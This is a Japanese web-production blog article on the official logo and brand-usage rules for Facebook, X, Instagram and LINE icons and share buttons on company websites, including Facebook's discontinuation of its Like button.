Facebookの「いいね！」ボタンとコメントボタンは、2026年2月10日に廃止されました。いま自社サイトに設置できるのはシェアボタンなど4種類だけです。ロゴやアイコンそのものは、広告以外の用途であれば許可申請なしで使えます——ただし公式アセットを使うことが条件です。 いま「Facebook いいねボタン 設置」で検索して出てくる日本語記事は、ほぼ例外なくすでに存在しない機能の設置方法を解説しています。廃止から5か月が経ちますが、更新された記事はほとんど見当たりません。 情報が古くなる理由は、Facebookのロゴ規約が3つの異なるドメインに散らばっていることにあります。ロゴのルール、名称の表記ルール、ボタンの実装ルールが、それぞれ別のサイトに置かれている。しかもブランドサイトのURL自体が移転しています。この記事では、公式の一次情報だけを根拠に、Web制作の実務で必要な判断基準を整理します。 結論｜広告以外なら申請は不要、ただし公式アセットを使うこと 最初に判断基準を示します。MetaのBrand Resource Centerは、許可の要否について次のように定めています。 All other forms of marketing do not require permission but must use the officially provided assets and abide by the guidelines on this site.（＝その他のあらゆる形態のマーケティングに許可は不要ですが、公式に提供されたアセットを使用し、本サイトのガイドラインに従わなければなりません。訳は筆者による） Meta「Brand Resource Center」 ポイントは「許可は不要だが、無条件ではない」という構造です。条件は2つ、公式アセットを使うこととガイドラインに従うこと。Google画像検索で拾ったFacebookアイコンを貼っている時点で、前者の条件を外しています。 ただし、ここで正直に書いておくべきことがあります。「自社サイトのフッターにFacebookアイコンを置き、自社Facebookページへリンクする」という用途を名指しした条文は、公式のどこにも存在しません。上の一般規定から「許可不要」と読むのが自然ですが、Metaがその用途を明文で認めているわけではない、というのが正確な状況です（詳しくは後述します）。 Facebookのロゴ規約は3つのドメインに散らばっている Facebookのロゴ規約でつまずく最大の原因はここです。「これ1本を読めば済む文書」が存在しないどころか、読むべき文書が3つの別々のドメインに分かれています。しかも中身の性質がまったく違います。 ドメイン文書何が書いてあるかmeta.comFacebook ロゴ（Brand Resource Center）ロゴの禁止事項・最小サイズ・クリアスペース・アセット配布meta.comOur trademarks商標の権利帰属・社名やドメインへの組み込み禁止transparency.meta.com広告基準｜ブランドの利用名称の表記ルール（「FB」略称の禁止など）developers.facebook.comSocial Pluginsシェアボタン等の実装・いいねボタンの廃止 注意したいのは、「FB」と略してはいけないという有名なルールが、実は広告基準にしか書かれていないことです。これは広告というコンテキストの規定であり、一般の企業サイトに同じ強度で適用されると公式が明言しているわけではありません。とはいえMetaがブランド表記をどう考えているかは明確なので、実務では従っておくのが無難です。 ブランドサイトのURLは移転済み（about.meta.com は使えない） 既存の解説記事がまとめてリンク切れを起こしている理由がこれです。かつてブランドガイドラインは about.meta.com/brand/... にありましたが、現在は www.meta.com/brand/... へ301リダイレクトされています。 さらに厄介なのは、Facebookのブランドページには「入口となるハブページ」が存在しないことです。/brand/resources/facebook/ にアクセスしても404が返ります。Facebook配下に実在するのはロゴのページとMessengerアイコンのページの2枚だけで、Instagramのように整備されたブランドセクションはありません。「もっと詳しいページがあるはずだ」と探しても、それは存在しません。 「いいね！」ボタンは2026年2月10日に廃止された この記事で最も伝えたい項目です。Facebookのいいねボタンとコメントボタンは、すでに提供が終了しています。Metaは2025年11月10日に開発者ブログで告知し、予告どおり2026年2月10日に廃止しました。 two Facebook Social Plugins (FB Like Button and FB Comment Button) will be discontinued on February 10, 2026.（＝2つのFacebookソーシャルプラグイン「いいねボタン」と「コメントボタン」は、2026年2月10日に提供を終了します。訳は筆者による） Meta for Developers「Platform Evolution: Facebook Social Plugins to be Discontinued February 2026」（2025年11月10日） 公式ドキュメントには「この日付は最終決定であり、延期はしない」という趣旨も明記されています。復活を期待して待つ理由はありません。 いま設置できるソーシャルプラグイン 公式のSocial Pluginsページに残っているのは、次の4つだけです。 プラグイン用途シェアボタンページをFacebookにシェアさせるページプラグイン自社Facebookページをサイトに埋め込む埋め込み投稿個別の投稿を記事内に埋め込む埋め込み動画・ライブ動画プレイヤー動画をサイトに埋め込む いいねボタンでエンゲージメントを稼ぐ設計をしていたサイトは、シェアボタンへの置き換えか、Facebookページへの導線そのものの見直しが必要になります。「いいね数を表示して社会的証明にする」という古典的な手法は、Facebookに関してはもう使えません。 古いコードを放置してもサイトは壊れない 実務的に重要な情報です。廃止後、旧プラグインのコードが残っていてもエラーにはならず、0×0ピクセルの不可視要素として描画されるとMetaは説明しています。 On February 10, the plugins will gracefully degrade by rendering as a 0x0 pixel (invisible element) rather than causing errors or breaking your website functionality.（＝2月10日以降、プラグインはエラーを起こしたりサイトの機能を壊したりするのではなく、0×0ピクセルの不可視要素として描画されることで緩やかに機能を失います。訳は筆者による） Meta for Developers（2025年11月10日） 公式は「開発者側の対応は必須ではない」としつつ、コードの削除は任意で推奨という立場です。つまり放置しても表示は壊れませんが、不要なスクリプトを読み込み続けることになります。パフォーマンスの観点では削除しておくべきでしょう。既存サイトの保守で fb-like や fb-comments のクラスが残っていないか、一度grepしておくことをおすすめします。 なお、LINEの友だち追加ボタンは逆に「画像で貼るのは規約違反、コードで実装せよ」と公式が明記しています。同じSNSボタンでも、プラットフォームによって要求されることが正反対です。 禁止事項｜「f」だけを使うのもNG 公式のロゴページは、してはいけないことを具体的に列挙しています。日本語版で確認できる禁止事項は次のとおりです。 Facebookのワードマーク（文字ロゴ）をロゴの代わりに使用する 親指を立てた「いいね！」シンボルをロゴの代わりに使用する ロゴの「f」だけを使用する（丸なしの「f」単独使用） ロゴの隣に「Facebook」という単語を記載する ロゴに絵文字を追加する ロゴの色を変更する ロゴを3D化する ロゴを輪郭化する（アウトライン版を使う） 独自のロゴワードマークをデザインする ロゴに影をつける 「f」を単独で使うデザインは違反にあたる 見落とされやすい筆頭がこれです。Facebookのロゴは「青い円の中に白い f」で1セットであり、円を外して「f」の字だけを取り出す使い方は明確に禁止されています。 Do not use just the "f" from our logo.（＝当社ロゴの「f」だけを使用しないでください。訳は筆者による） Meta「Facebook ロゴ｜Brand Resource Center」 フッターのSNSアイコンを「線画アイコンで統一したい」という理由で、アイコンフォントやアイコンライブラリのfマークを使うケースがよくあります。アイコンフォントの多くは円のない「f」や輪郭線版を含んでおり、これらは公式アセットではありません。デザインの統一感を優先した結果、ガイドライン違反になっている——というのが制作現場で最も多いパターンです。 SNSアイコンをグレーで統一するデザイン Facebookは「ロゴの色を変更する」ことを禁止事項として明示しています。公式が示す使い方は、プライマリ＝Facebook Blueの背景に白い「f」、セカンダリ＝白いロゴ（fの部分が透明）の2つです。 つまり白背景のサイトで白ロゴを使うのはOK、グレーやサイトのブランドカラーに染めるのはNGという切り分けになります。「フッターのSNSアイコンを全部グレーに揃える」という定番のデザイン処理は、Facebookに関しては色の変更にあたります。 ここはInstagramと対照的です。Instagramは単色化（黒または白）を公式に許可しています。同じMetaのサービスでもルールが違うという点は、SNSアイコンを横並びにするときに必ず引っかかるポイントです。 Facebook Blueの公式HEX値は存在しない デザイナーが最も驚く事実かもしれません。Metaは「Facebook Blue」という名称を使いながら、そのHEX値やRGB値をブランドサイトで公開していません。ロゴページを隅々まで見ても、カラーコードの記載は一切ありません。 ネット上では #1877F2 や #0866FF といった値が「Facebookの公式カラー」として広く流通しています。しかしこれらは公式ページに由来する数値ではありません。2023年にFacebookはブランドアイデンティティを刷新し、Metaのデザインチームは公式ブログで「より自信のある表現へと中核のブルーを進化させた」と説明していますが、その記事にも具体的な数値は出てきません。 ここから導かれる実務上の結論はシンプルです。色は数値で指定するのではなく、公式アセット（SVG／PNG）をそのまま使うのが唯一の正解になります。CSSに background-color: #1877F2; と書いてFacebookブルーの円を自作する——これは公式アセットを使っていないうえ、色が正しい保証もありません。 どうしても背景色などで色を合わせる必要がある場合は、公式アセットのSVGから色を抽出するのが最も確実です。第三者のカラーコード一覧サイトの数値を信用しないでください。 ### [Xロゴの使用ルール｜「青い鳥ロゴは禁止された」は誤りです](https://codequest.work/x-twitter-logo-guideline/) 「旧Twitterの青い鳥ロゴは、Xのガイドラインで使用が禁止された」——これは誤りです。Xの現行ブランドガイドラインを全文確認しましたが、青い鳥に関する記載は一行も存在しません。禁止する条文も、使い続けてよいという条文も、どちらもないのです。 にもかかわらず、「明示的に禁止されている」と断定する解説記事が数多く存在します。生成AIによる検索結果の要約でさえ、同じ誤りを繰り返しています。公式に書かれていないことが、事実として拡散している状態です。 ではサイトのアイコンを差し替える必要はないのか。答えは単純ではありません。この記事では、公式の一次情報にあたって確認できた事実と、確認できなかった（＝公式に書かれていない）ことを明確に分けて整理します。 結論｜フッターにXアイコンを置くのは想定された用途 先に実務の結論を示します。自社サイトのフッターにXのアイコンを置き、Xアカウントへリンクすることは、公式が想定している用途です。 根拠は、X Brand toolkit が「ロゴとユーザー名を組み合わせたテンプレート」を配布しており、その目的をこう説明していることです。 We've created these logo lockups with a username to make it easier for you to show that your account is on X.（＝あなたのアカウントがXにあることを示しやすくするために、これらのロゴとユーザー名の組み合わせを作成しました。訳は筆者による） X Corp.「X Brand toolkit」 ただし正確に書いておくと、「フッターへの設置は申請不要」と明記した条文は存在しません。「申請不要」と読める記述はありますが、それはポスト（投稿）を表示する場合に限定されたものです。 さらにXは「Xブランドは、Xが明示的に許可した目的にのみ使用できる」「許可の付与・拒否はXの単独の裁量による」という強い留保を置いています。公式が素材を配布している用途であり、ガイドラインを守ることが使用の条件——これが誠実な温度感です。 「青い鳥ロゴは禁止された」は誤り この記事の中心的な論点です。Xの現行ブランドガイドライン（X Brand Guidelines・PDF全10ページ）を全文確認したところ、"bird"（鳥）という語は一度も登場しません。 PDF内で「Twitter」が出てくるのは、用語の置換表のなかだけです（「Before: Twitter → After: X」といった名称の言い換えルール）。これはロゴの話ではなく、呼称の話です。 よく見る記述公式ガイドラインの実際青い鳥ロゴの使用は明示的に禁止されているそのような条文は存在しない青い鳥ロゴを使い続けても問題ないそれを許可する条文も存在しないサイトのアイコンを差し替える義務がある差し替えを命じる条文は存在しない 「禁止と書いていない」ことと「使ってよい」ことは、まったく別です。ここを混同しないでください。 では、鳥ロゴを使い続けていいのか 結論から言えば、使い続ける積極的な根拠は存在しません。理由は4つあります。 現行の公式ブランドはXマークである｜ガイドラインが扱っているロゴはXマークのみです。 公式の配布アセットに鳥は含まれていない｜ロゴのZIPを実際にダウンロードして確認しましたが、中身はXマークの黒・白・SVGの3ファイルだけでした。正規の入手経路が存在しません。 利用規約はTwitter商標も権利主張している｜Xの利用規約は「X の名称または Twitter の名称、X または Twitter の商標・ロゴ」を明示的な書面同意なしに使用することはできない、と定めています。鳥が自由になったわけではありません。 X社は実際に権利行使している｜旧Twitterブランドを使う事業者に対し、X Corp.は2025年12月に米国デラウェア連邦地方裁判所へ商標権侵害訴訟を提起しています（X Corp. v. Operation Bluebird, Inc. 事件番号1:25-cv-01510）。 つまり「ガイドラインでは禁止されていないが、使い続ける理由もなく、商標権のリスクだけが残る」という状態です。実務的には差し替えるのが合理的です。ただしそれは「規約で義務づけられているから」ではなく、「リスクを取る意味がないから」である、と正確に理解しておいてください。 公式ガイドラインは2023年8月から更新されていない 誤解が広まった背景には、公式ドキュメントの整備状況があります。Xのブランドガイドラインは、表紙に「August 2023 v1.0」と記載されたまま、約3年間更新されていません。 しかもガイドライン自身が、その不完全さを認めています。 This guide isn't exhaustive, please reach out to your X brand partner if you are looking for something that isn't specifically covered here.（＝本ガイドは網羅的ではありません。ここで特に扱われていない事項については、Xのブランド担当者にお問い合わせください。訳は筆者による） X Corp.「X Brand Guidelines」（August 2023 v1.0） 「詳細な用語集は将来版に掲載予定」「セカンダリカラーは策定中」と2023年に予告されたまま、3年経っても更新されていません。青い鳥について何も書かれていないのは、方針として何も言及していないというより、ガイドラインが未完成のまま放置されていると見るのが実態に近いでしょう。 X自身のブログに、2012年の案内がいまも残っている 公式情報の混乱を象徴する例があります。X の公式ブログには、2012年に鳥のマークをリニューアルしたときの記事が、現在も公開されたままです。そこには「サイトやマーケティング資料で旧マークを使っている場合は、新しいバードのアセットに更新してください」と書かれており、しかもリンク先はすでに404です。 これは2012年当時の案内であり、2023年のXへの移行に関する指示ではありません。ただしここに皮肉な示唆があります。マークを変えた2012年には「差し替えてください」と明確に告知していたXが、2023年のX移行では同等の告知を出していないのです。差し替え義務が明文化されていないことの傍証と言えます。 公式サイトを見に行っても、時代の違う情報が混在している。これがXのロゴをめぐる混乱の正体です。 公式に配布されているのはXマーク3ファイルだけ 公式のロゴZIPを実際にダウンロードして展開しました。中身は次のとおりです。 ファイル内容logo-black.png黒のXマークlogo-white.png白のXマークlogo.svgベクター版青い鳥のアセット収録なし ZIP内のファイル日付はすべて2023年8月2日。リブランド直後から一度も更新されていません。ロゴパックはログイン不要で誰でもダウンロードでき、ロゴとユーザー名のロックアップ、パートナーシップ用ロゴ、ポストのレイアウト用テンプレートも配布されています。 Xロゴのルールは、たった4つしかない 驚くかもしれませんが、Xの現行ガイドラインには禁止事項のリストが存在しません。旧Twitter時代のガイドラインにあった「回転禁止・色変更禁止・エフェクト禁止」といった禁止例のグリッドは、現行版には引き継がれていません。 明記されている制約は次の4点だけです。 項目ルール色黒または白のみ（黒背景には白、白背景には黒）判読性判読可能で、形状の完全性を保つことクリアスペースロゴ周囲に、上下左右とも最低でも同じ幅の余白を確保サイズ外部向けコミュニケーションでは大きく明瞭に表示 ここから導かれる実務上の帰結は明快です。Xアイコンをブランドカラーに着色するのは避けるべきです。「黒または白」と明記されている以上、サイトのアクセントカラーに合わせて色を変えるのはルールから外れます。 この点はInstagram（単色化が許可されている）とも、LINE（色の変更が明確に禁止されている）とも異なります。SNSアイコンの色の扱いは、3社3様だと考えてください。 なお「回転させてはいけない」「合成してはいけない」といった明文の禁止規定は現行ガイドラインに存在しません。ただし「形状の完全性を保つ」という規定から、改変が認められないことは読み取れます。条文があるかのように書くのは不正確ですが、やってよいという意味でもありません。 「他のSNSボタンと混ぜるな」の誤読に注意 日本語の解説記事で頻繁に見かける誤読を指摘しておきます。「Xの規約では、他のSNSのボタンやアイコンと混ぜて表示してはいけない」という説明です。 この規定自体はXの表示要件（Display requirements）に実在しますが、それはポストやタイムラインを埋め込み表示する場合の文脈にある条文です。フッターにSNSアイコンを横並びにする行為を禁じたものではありません。 もし本当にそんな規約があれば、世界中のサイトのフッターがほぼすべて違反していることになります。X自身がロゴとユーザー名のロックアップ素材を配布していることからも、この読み方が誤りであることは明らかです。 ついでにもうひとつ。X のヘルプセンターにある商標ポリシーを、ロゴ使用のルールとして引用している記事も見かけます。これも用途違いです。あのポリシーは「X上でユーザーが他社の商標を侵害した場合」の通報・凍結ルールであり、第三者が自社サイトでXロゴを使う話は一切扱っていません。 用語ルール｜「ツイート」は「ポスト」に ロゴと並んで、呼称のルールもガイドラインに定められています。シェアボタンのラベルやマイクロコピーに直結する部分です。 旧称現在の呼称Tweet（ツイート）post（ポスト）Retweet（リツイート）repost（リポスト）Quote Tweet（引用ツイート）QuoteTwitter app / Twitter accountX app / X accountTwitter BlueX PremiumTweetDeckX Pro サイトに「ツイートする」というシェアボタンが残っているなら、「ポストする」あるいは「Xでシェア」へ変更するのが公式ルールに沿った対応です。 なお「X（旧Twitter）」という併記表現が許されるかどうかについては、公式に記載がありません。読者の理解を助けるために広く使われている書き方ですが、公式ルールとして認められているわけではない、という位置づけです。 ポストの埋め込みで守るべきこと サイトにポストを埋め込む場合、明確な禁止事項があります。ポストの内容を一切改変してはいけません。 Always use real posts and don't alter or modify them in any way (not even with spell check).（＝必ず実在のポストを使用し、いかなる方法でも改変・修正しないでください〈スペルチェックであっても〉。訳は筆者による） X Corp.「X Brand toolkit」 誤字を直すことすら禁止されています。制作でありがちな「見栄えのためにポストのスクリーンショットを加工する」「架空のポスト画像をデザインのモックに使い、そのまま公開してしまう」といった行為は、この条文に抵触します。 また、ユーザーの明示的な許可なくポストを広告に使うこと、Xによる推奨・提携があるかのように見せることも禁止されています。「お客様の声」としてポストを掲載する場合は、投稿者本人の許可を取ってください。 違反するとどうなるか ガイドラインの法務条項には、次のように書かれています。 ### [Instagramロゴの使用ルール｜「色を変えてはいけない」は誤解です](https://codequest.work/instagram-logo-guideline/) 自社サイトのフッターにInstagramのアイコンを置き、自社アカウントへリンクするだけであれば、Metaへの事前申請は不要です。公式アセットを使い、ガイドラインを守ることが条件になります。 ところが、そのガイドラインをめぐって広く信じられている誤解があります。「Instagramのロゴは色を変えてはいけない」——多くの解説記事がそう書いていますが、公式はむしろ単色化を明示的に許可しています。 なぜ誤解が広まったのか。理由のひとつは、Instagramのグリフ詳細ガイドラインのページが、現在まともに表示されない状態にあることです。この記事では、公式一次情報にあたって確認できた事実だけを、確認できなかったことと明確に分けて整理します。 結論｜フッターにアイコンを置くだけなら申請不要 まず判断基準です。Meta Brand Resource Center は、事前許諾が必要なケースを限定したうえで、次のように定めています。 All other forms of marketing do not require permission but must use the officially provided assets and abide by the guidelines on this site.（＝その他のあらゆる形態のマーケティングは許諾を必要としないが、公式に提供されたアセットを使用し、本サイトのガイドラインに従わなければならない。訳は筆者による） Meta Platforms「Meta Brand Resource Center」 Webサイトへのアイコン設置は「その他のマーケティング」に含まれるため、申請不要です。ただし条件が2つあります。公式に配布されているアセットを使うこと、そしてガイドラインに従うこと。この2つ目が曲者で、後述するとおり肝心のガイドラインページが現在機能していません。 「色を変えてはいけない」は誤り｜単色化は公式が許可している 日本語で「Instagram ロゴ ガイドライン」と検索すると、ほぼ例外なく「色を変えてはいけない」と書かれています。しかし公式ガイドラインの記述は逆です。 You can change the glyph to any solid color, as long as all other aspects of its design stay the same. We recommend showing the glyph in black or white.（＝デザインの他の要素がすべて同一である限り、グリフを任意の単色に変更してよい。黒または白での表示を推奨する。訳は筆者による） Meta Platforms「Instagram icon, usage and guidelines」 つまりフッターのSNSアイコンを白やグレーで統一するデザインは、Instagramに関しては問題ありません。むしろ黒か白が推奨されています。ここは実務上とても大きな違いです。 ただし条件を読み飛ばさないでください。「デザインの他の要素がすべて同一である限り」です。形を変えたり、角丸の丸みを調整したり、回転させたりすれば、色を変えていなくても違反になります。変えていいのは色だけと理解するのが正確です。 なお、この条文の典拠には注意が必要です。現行ページが機能していないため、公式サイトのアーカイブ（2025年6月時点）を典拠としています。同じ文言は2023年時点のスナップショットにも存在しており、長期にわたって維持されてきた記述です。 ここで重要なのは、SNSアイコンをまとめてモノトーン化する処理は、プラットフォームごとに可否が分かれるという事実です。Instagramは許可されていますが、LINEは色の変更を明確に禁止しています。「SNSアイコンを一括でグレーにする」という一見無害なデザイン処理が、あるサービスではOKで別のサービスでは違反になります。 グリフの詳細ガイドラインは、現在アクセスできない Instagramのブランドページには「Brand Elements section」へのリンクがあり、そこにグリフ（カメラアイコン）の詳細ルールが載っているはずです。ところが2026年7月時点で、このページは実質的に機能していません。 グリフのガイドラインURLは 404 を返す 地域別URLではHTTPステータス200が返るものの、本文が空・画像もゼロで何も表示されない 公式ブランドページ内のリンクも、この空白ページに飛ぶ（公式サイト内のリンク切れ） アーカイブを確認すると、少なくとも4か月前から壊れている つまりMetaは現在、Instagramグリフの詳細ルールを事実上公開していない状態です。「公式ガイドラインに従え」と言われても、その本体にたどり着けません。 実務上の対応はこうなります。アーカイブに残っている最後の版のルールを守っておくのが現実的な安全策です。ルールが公開されていないことは、守らなくてよい理由にはなりません。Metaは商標権を放棄したわけではないからです。 古いURLを載せている解説記事に注意 Instagramのブランドリソースは移転を繰り返しており、検索上位の記事の多くがすでに死んでいるURLを案内しています。 よく案内されているURL現在の状態instagram-brand.comMetaが保有しているがまったく接続できないhelp.instagram.com の旧ブランドページ「アカウントとユーザーネームの作成」という無関係なページに変わっているabout.meta.com/brand/…www.meta.com/brand/… へ移転（リダイレクトあり） 現行の入口は Instagram brand assets and guidelines です。ここを起点にしてください。 公式に配布されているのはグリフ3種だけ 公式のロゴパックを実際にダウンロードして中身を確認しました。収録されているのはグリフ（カメラアイコン）だけで、次の3種類です。 収録アセット形式グラデーション版グリフai / svg / png / jpg白版グリフai / svg / png / jpg黒版グリフai / svg / png / jpgワードマーク（Instagramのロゴタイプ）収録なしガイドラインPDF同梱なし ここから導ける実務的な結論は明快です。Web制作者が公式に入手できるのはグリフ3色のみであり、ワードマークは配布すらされていません。したがってワードマークの使い方について書かれた解説を見かけても、その典拠は公式ではない可能性が高いということです。 そして公式アセット以外を使うことは認められていません。Facebookのロゴページには次の明文があります。 Any logos or images found elsewhere on the web are not approved for use.（＝Web上の他の場所で見つけたロゴや画像は、使用が承認されていない。訳は筆者による） Meta Platforms「Facebook Logo」（2024年12月更新） フリー素材サイトで拾ったSNSアイコンセットや、アイコンフォント、自分でトレースしたパスを使うのはこの条文に抵触します。Instagram側も「ブランドリソースセンターにあるロゴとスクリーンショットのみを使うこと」と定めています。手軽さから素材サイトのアイコンセットを使いがちですが、規約上は公式アセットを落としてくるのが正解です。 事前申請が必要になるのはどんなときか Instagramのブランドページは、許諾申請が必要な範囲を明確に限定しています。 Only those planning to use Instagram's assets in any broadcast, radio, out-of-home advertising or print larger than 8.5 x 11 inches (A4 size) need to request permission.（＝放送・ラジオ・屋外広告、または8.5×11インチ〈A4サイズ〉を超える印刷物でInstagramのアセットを使用する予定がある場合に限り、許諾申請が必要である。訳は筆者による） Meta Platforms「Instagram brand assets and guidelines」 用途事前申請放送（TV等）・ラジオ必要屋外広告（OOH）必要A4を超えるサイズの印刷物必要Webサイト・LP・フッターのアイコン不要Meta広告面に出稿する広告不要（広告ポリシー審査で判断される） Web制作の通常業務はほぼすべて申請不要の側に入ります。判断が必要になるのは、クライアントが交通広告や大判ポスターも同時に展開する場合です。 グリフの禁止事項と数値ルール グリフに関して公式が明示している禁止事項と数値は次のとおりです（典拠は前述のとおりアーカイブ版）。 項目ルール改変・変形禁止（DON'T alter or reshape the glyph）回転禁止（DON'T rotate the glyph）単色化許可（黒または白を推奨）クリアスペースグリフの1/2以上最小サイズ29×29px また、グリフの主用途についても定義があります。「グリフの主たる用途は、自組織のInstagram上のプレゼンスを訴求すること」。フッターからアカウントへ誘導するという使い方は、まさにこの想定どおりです。逆に、Instagramと無関係な文脈で飾りとして置くのは想定外の使い方になります。 「Instagram」の表記ルール｜Insta・IG・GramはMetaの商標 ロゴだけでなく、「Instagram」という語の書き方にもルールがあります。コピーライティングやボタンラベルに直結する部分です。 Don't modify, abbreviate or translate the word Instagram to a different language or by using non-English characters, or use any of our logos to replace it.（＝Instagramという語を改変・略記・他言語へ翻訳したり、非英字を用いて表記したり、ロゴで代替してはならない。訳は筆者による） Meta Platforms「Instagram brand assets and guidelines」 ポイントを整理します。 「インスタ」と表記しない｜非英字での表記や翻訳は禁止されています。本文で「インスタ」と書くのは、厳密にはこのルールに反します。 「Insta」「gram」を自社ブランドと組み合わせない｜「〇〇グラム」のようなサービス名やキャンペーン名は不可。Insta / IG / Gram はいずれもMetaの商標として登録されています。 「I」は大文字で、周囲と同じサイズ・スタイルにする｜「instagram」と小文字始まりにしたり、一部だけ装飾したりしないこと。 ロゴで語を代替しない｜文章中の「Instagram」をグリフ画像に置き換えるのは不可です。 キャンペーン名に「インスタ投稿で〇〇」と付けるのは、日本のWeb制作でよく見る光景ですが、公式ルールに照らすと推奨されません。ボタンラベルは「Instagramで見る」「Follow us on Instagram」のように、正式表記を使うのが安全です。 Facebook・Threadsとルールは同じではない 「同じMetaのサービスなんだから、ルールも共通でしょう」——これが3つ目の誤解です。共通しているのは法務条項・申請の閾値・公式アセット限定の3点だけで、禁止事項の中身はブランドごとに別物です。 ### [LINEロゴと友だち追加ボタンの正しい設置方法｜画像で貼ると規約違反になる](https://codequest.work/line-logo-guideline/) 自社サイトにLINEのロゴやアイコンを掲載し、LINE公式アカウントへリンクするだけであれば、LINEヤフーへの事前承諾（申請）は不要です。ただしガイドラインの遵守が条件で、そこに多くの制作現場が見落としている落とし穴があります。 その代表格が「友だち追加ボタン」です。ボタン画像をダウンロードしてサイトに貼り、LINEのURLへリンクする——実務で最もよく見る実装ですが、これはLINE公式ガイドラインが明確に禁止している方法です。 やっかいなのは、LINEのロゴ規約が5つの公式文書に分散していることです。1ページだけを読んでも正しい結論にたどり着けない構造になっており、そのせいで誤った解説が広く出回っています。この記事では、公式一次情報だけを根拠に、Web制作の実務で必要な判断基準を整理します。 結論｜サイトにLINEロゴを置くだけなら申請は不要 最初に判断基準を示します。LINEヤフーの商標・ブランドの使用に関するガイドラインには、原則としてブランド資産の無断使用は禁止としつつ、次の例外が明記されています。 以下のロゴ・アイコンに関しましては該当するガイドラインを遵守の上であれば事前承諾は不要になります。 LINEヤフー株式会社「LINEヤフーの商標・ブランドの使用に関するガイドライン」 事前承諾が不要と名指しされているのは、「LINE」のサービスアイコン、「LINE公式アカウント」のサービスロゴ、「LINEミニアプリ」のサービスロゴ、「LINEポイント」のサービスロゴ、そしてYahoo! JAPAN IDログインボタンです。つまりWeb制作でフッターにLINEアイコンを置く用途は、申請不要の範囲に入っています。 ただしこれは「何をしてもいい」という意味ではありません。「該当するガイドラインを遵守の上であれば」という条件付きです。そしてそのガイドラインが、次章で見るとおり複数の文書に散らばっています。 LINEのロゴ規約は5つの公式文書に分散している LINEのロゴ規約に「これ1本を読めば済む文書」は存在しません。用途ごとに参照すべき文書が違い、しかもそれぞれ運営ドメインが異なります。まずこの地図を持っておくと、判断を誤りません。 文書何が書いてあるか最終改定LINE APP ICON GUIDELINEアプリアイコンの配布と基本ルール・最小サイズ2021年5月27日広告・販促・告知物等におけるLINE関連素材使用についてのガイドライン（PDF）最も重要。禁止事項・改変の判断基準・申請要否・表記ルール2024年12月11日ロゴガイドライン（LINEヤフー for Business）各サービスロゴの配布記載なし商標・ブランドの使用に関するガイドライン事前承諾の要否・商標帰属の表記義務記載なしLINE Social Plugins利用ガイドライン友だち追加ボタンの実装ルール・違反時の措置2024年2月1日 実務で最も参照すべきは2つ目のPDFです。全47ページとボリュームがありますが、Web制作でやりがちなNGはほぼここに書かれています。「広告・販促」という名前から自社サイトには無関係だと思われがちですが、企業サイトでの告知も適用範囲に含まれます。 なお注意点として、この公式PDF自体が古いURLを案内しています。PDF内ではソーシャルプラグインの取得先が media.line.me と記載されていますが、現在は developers.line.biz へ移転済みです（リダイレクトで到達はできます）。旧URLを載せたままの解説記事も多いため、実装時は移転後のURLを参照してください。 友だち追加ボタンを「画像」で貼るのは規約違反 この記事で最も伝えたい項目です。友だち追加ボタンを画像として設置することは、公式ガイドラインで明確に禁止されています。 ソーシャルプラグイン/ログインボタンは、紙媒体では使用できません。Webサイト、Webページであっても、画像として掲載することはできません。利用規約に同意の上、コードをサイト内に記述する方法でボタン機能を実装し、適切なページへ遷移できるようにしていただきますようお願いいたします。 LINEヤフー株式会社「広告・販促・告知物等におけるLINE関連素材使用についてのガイドライン」（2024年12月改定） 「友だち追加ボタンの画像をダウンロードして <img> で貼り、<a> でLINEのURLへリンクする」という実装は、この条文にまっすぐ抵触します。制作現場で広く行われている方法ですが、公式が想定している設置方法ではありません。 正しい設置方法は「コードで実装する」 公式が提供しているのはLINE Social Pluginsという仕組みです。「LINEで送る」「友だち追加」「いいね」の3種類のボタンが用意されており、LINE Developers でボタン生成用のコードを取得して設置します。画像ではなく、このコードを使うのが規約上の正解です。 また、ボタン設置には同意の成立タイミングについての規定もあります。利用ガイドラインには、設置した時点でガイドラインに同意したものとみなす旨が書かれています（原文は英語。日本語版が法的に優先します）。 By installing the LINE Social Plugin Button on an External Site, the Installer is deemed to have agreed to the Guidelines.（＝設置者が外部サイトにLINE Social Pluginボタンを設置した時点で、本ガイドラインに同意したものとみなされます。訳は筆者による） LINEヤフー株式会社「LINE Social Plugins利用ガイドライン」（2024年2月1日改定） ボタン設置時に守るべき3つの制約 専用アイコンを使う｜公式が定めた専用アイコンの使用が義務。ただしLINEヤフーが指定するテキスト表記での代替は認められています。 専用アイコンを改変しない｜いかなる方法でも改変してはならないと明記されています。 類似アイコンを併置しない｜ボタンを設置したページ上に、専用アイコンと類似したロゴやアイコンを表示することは禁止されています。自作のLINE風アイコンを別の場所に置く、といった実装はここに抵触します。 さらに「サイトのデザインがボタンの可読性を妨げる場合は設置してはならない」という規定もあります。背景に埋もれてボタンが読み取りにくいデザインは、それ自体が違反になり得るということです。 事前確認が必須なのは3つのケースだけ 「申請が必要かどうか」で迷ったときの線引きです。ガイドラインPDFは、LINEヤフーによる事前確認が必須となるケースを3つに限定して列挙しています。 用途事前確認プレスリリース必須動画素材（TVCM・オンライン配信を問わずすべて）必須LINEポイントの訴求があるもの必須自社サイトのフッターにLINEアイコンを設置し、公式アカウントへリンク不要ガイドラインに記載のない用途個別判断（要問い合わせ） 事前確認が必要な場合、回答は3〜5営業日以内に戻るとPDFに明記されています。スケジュールを引くときの目安になります。 注意したいのは「記載のない用途」の扱いです。ガイドラインには、記載のない用途を無断で使用し、LINEヤフーが不適切と判断した場合、掲載後に修正対応を依頼される可能性があると書かれています。判断に迷う使い方をするなら、公開前に問い合わせておくほうが安全です。 Web制作でやりがちなアイコンのNG改変 LINEアプリアイコンのガイドラインは、改変を原則として禁止しています。「変形せず、そのまま使う」が大原則です。 全てのロゴデータは、データを変形・加工せず、そのまま使用することを原則とします。アニメーションや効果（拡大、回転、装飾など）をつけることも禁止しております。 LINE「LINE APP ICON GUIDELINE」 公式が禁止事項として明示しているのは次のとおりです。 変形（長体・平体・斜体・回転） 間隔の変更／書体の変更 色の変更 装飾（影・縁取り・立体表示） アイソレーション（余白）内への他要素の表示 視認性を低下させる背景の使用 文中での使用 SNSアイコンをグレーで統一するデザインは違反にあたる フッターのSNSアイコンを、サイトのトーンに合わせて全部グレーやモノトーンで統一する——デザイン上よくある処理ですが、LINEアイコンに関しては「色の変更」が明確に禁止されているため、ガイドライン違反にあたります。 色の反転や、吹き出し部分だけを取り出した使用も認められていません。モノクロ印刷が必要な場合は、通常のアイコンを使ったうえでモノクロ印刷を行うよう指定されています。 縁取り・枠・背景色の変更も「改変」と判断される 